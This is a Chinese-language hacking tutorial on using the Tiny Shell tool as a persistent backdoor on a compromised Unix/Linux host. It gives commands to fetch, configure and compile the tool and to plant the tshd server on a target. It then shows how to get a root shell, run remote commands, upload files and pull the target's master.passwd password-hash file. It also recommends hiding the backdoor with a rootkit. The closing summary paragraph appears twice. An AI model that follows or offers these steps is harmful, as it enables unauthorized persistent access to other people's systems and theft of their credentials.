一,前言
隨著互聯網的發展,使用Unix/Linux系統的越來越多,而入侵一台Unix/Linux系統也不再是什麼難事了。通常,在入侵成功之後,都會留一個或幾個後門,以便再次進入;對於Unix/Linux系統,後門的種類比較多,初級的有修改“.rhosts”文件,復制一個Shell到一個隱藏目錄,修改etc/passwd文件加用戶等手段。較高級的莫屬使用內核模塊後門(Rootkit)了,它是Unix/Linux系統下最高級別的後門,也許最具有隱蔽性的,但今天我並不說Rootkit,因為它的使用過於復雜,對沒有Unix/Linux系統使用經驗的人來說,更是難以駕御。而Tiny Shell作為一款運行於Unix/Linux系統下的輕量級Shell工具,不僅小巧,還支持另外一些不錯的功能,具體請看下文。
二,應用
1,Tiny Shell簡介
Tiny Shell是一款輕量級的標准遠程Shell工具,可以提供遠程執行命令(包括:Rlogin,Telnet,Ssh等)和文件傳輸功能(上傳、下載),支持單字節,完全支持Pseudo-Terminal Pairs(pty/tty)等偽終端。並使用強大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強大加密和認證。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統。
2,Tiny Shell應用
測試環境:
本地:OpenBSD 3.4IP:192.168.0.40
目標:FreeBSD 4.9 STABLEIP:192.168.0.20
首先下載Tiny Shell,解壓縮後修改源代碼,以求該工具更能符合我們的要求。
#fetch http://www.ringz.org/tsh-0.6.tgz
#tar zxvf tsh-0.6.tgz
#cd tsh-0.6
#ls
ChangeLogREADMEaes.hpel.h sha1.htsh.h
Makefile aes.c pel.csha1.ctsh.c tshd.c
#vi tsh.h
char *secret = "replace with your passWord";
//連接後門的密碼,我修改為dahubaobao。這個後門的主程序是tsh.c,先看看下邊的源代碼
if( password == NULL )
{
/* 1st try, using the built-in secret key */
ret = pel_client_init( server, secret );
if( ret != PEL_SUCCESS )
{
close( server );
/* secret key invalid, so ask for a password */
password = getpass( "Password: " );
goto connect;
}
}
//重點在這裡:ret = pel_client_init( server, secret );
把secret變量作為了參數,也就是連接後門所需要的密碼。現在知道為什麼修改tsh.h了吧。
#define SERVER_PORT 7586
//後門簡聽的端口,任意修改
if( argc == 5 && ! strcmp( argv[2], "get" ) )
{
action = GET_FILE;
}
if( argc == 5 && ! strcmp( argv[2], "put" ) )
{
action = PUT_FILE;
}
//該後門並沒有幫助信息,所以查看這裡得知Get為下載,Put為上傳。當然,如果你喜歡,可以自行修改。另外,如果你想該後門輸出幫助信息,可以自己添加一個Printf語句來輸出幫助信息。這裡給出一個最簡單的方法,我們在不加參數的情況下執行./tsh的時候,會提示gethostbyname failed.,然後查看源代碼,找到fprintf( stderr, "gethostbyname failed.\n" );這句代碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助信息,這樣,在執行./tsh的時候,就會自動輸出幫助信息了。呵呵,也算一種變相修改吧。下面開始編譯源代碼。
#make
Please specify one of these targets:
make linux
make freebsd
make openbsd
make netbsd
make cygwin
make sunos
make irix
make hpux
make osf
#make openbsd
//根據你的系統做相應的選擇,10秒鐘就編譯好了(如圖1)。
然後,會在當前目錄下生成兩個可執行文件,一個客戶端,一個服務端,分別為:tsh,tshd。現在將tshd復制到目標系統(FreeBSD),然後執行./tshd完成安裝。為了更清楚的表示我使用的環境,所以回到本地執行id命令,得知該用戶的UID=1000,是普通用戶;現在使用./tsh 192.168.0.20來接連目標主機(為了測試方便,我就不加密碼了),好,現在我們獲得了一個Root權限的Shell,再使用id命令(注意,這是在目標主機上),可以看到UID=0了,這可是Root權限哦!執行uname –a命令,回顯為FreeBSD系統,可見已經成功連接後門並登陸了(如圖2)。另外,該後門還可以在連接的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連接192.168.0.20目標主機,接著執行cat etc/passwd命令,這樣,目標主機的passwd文件我們就一覽無余了(如圖3)。但要注意,使用這種形式並沒有登陸目標主機,只是連接目標主機,然後插入一個Shell命令而已。
現在我們來看看上傳、下載的使用方法。從源代碼中知道,上傳的關鍵字為Put,下載的關鍵字為Get。好,先來看看如何上傳文件,執行“./tsh 192.168.0.20 put 文件名 目標主機目錄”即可完成上傳,但要注意,文件要在當前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進制文件,使用./tsh 192.168.0.20 put back /,這條命令是將back文件上傳目標根目錄,然後我再使用./tsh 192.168.0.20連接到目標主機,ls查看back是否已經上傳到了對方主機(如圖4),呵呵,還不錯吧!在來看下載文件,它的語法為“./tsh 192.168.0.20 get 目標文件 本地目錄”,現在我們來獲得其最敏感的文件----master.passwd(影子文件,也就是Linux系統下的shadow文件)。執行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標主機的master.passwd文件到本地的/home/dahubaobao目錄,然後使用ls查看,可以看見已經將對方的master.passwd下載到了本地(如圖5),再vi master.passwd(如圖6),哈哈,用戶的加密密碼近在眼前。提示,FreeBSD的用戶密碼是采用MD5加密的。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支持大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去Google找答案,在此就不多說了。
小結
Tiny Shell作為一款小型的Shell工具,絲毫不遜於其他同類的Shell工具,而且支持大部分的Unix/Linux系統,絕對值得一試。當然,這款後門很不隱蔽,我們可以結合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去Google找答案,在此就不多說了。